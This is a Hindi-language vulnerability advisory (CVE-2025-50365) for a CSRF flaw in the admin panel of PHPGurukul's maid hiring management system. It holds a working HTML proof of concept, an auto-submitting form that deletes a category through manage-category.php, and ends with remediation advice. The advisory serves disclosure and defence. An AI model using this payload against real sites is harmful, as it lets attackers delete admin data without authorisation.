परियोजना का नाम और रेपो URL: PHP और MySQL का उपयोग करके नौकरानी किराया प्रबंधन प्रणाली

कमजोरी का प्रकार: क्लाइंट साइड रिक्वेस्ट फोर्जरी

प्रभावित संस्करण: v1.0

💣कमजोरी का विवरण: PHPGurukul किराया प्रबंधन प्रणाली के एडमिन पैनल में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) कमजोरी मौजूद है, जो एक हमलावर को प्रमाणित एडमिन को एक दुर्भावनापूर्ण साइट पर जाने के लिए धोखा देकर मनमानी किराया श्रेणियों को हटाने की अनुमति देती है। इससे डेटा हटाने और अनधिकृत एडमिन-स्तरीय परिवर्तन हो सकते हैं।

👩‍💻प्रभाव: अनधिकृत श्रेणी हटाना।

🛜प्रूफ-ऑफ-कॉन्सेप्ट (PoC):

एक श्रेणी हटाने की कार्यक्षमता थी जहाँ केवल प्रमाणित एडमिन ही श्रेणी हटा सकता था।
एंडपॉइंट /admin/manage-category.php पर GET अनुरोध भेजने के लिए HTML कोड CSRF-POC

<html>
  <body>
    <form action="http://127.0.0.1/mhms/admin/manage-category.php">
      <input type="hidden" name="delid" value="13" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

HTML कोड का उपयोग करके एक दुर्भावनापूर्ण URL बनाएं।
एडमिन के लिंक पर क्लिक करने के बाद, श्रेणी हटा दी जाएगी।

अनुशंसा: एडमिन फॉर्म में CSRF टोकन लागू करें, SameSite कुकीज़ लागू करें, और अनधिकृत कार्यों को रोकने के लिए अनुरोध मूल को मान्य करें।

CVE-2025-50365_CSRF_DELETE_CATEGORY-phpgurukul-CVE

सबसे लोकप्रिय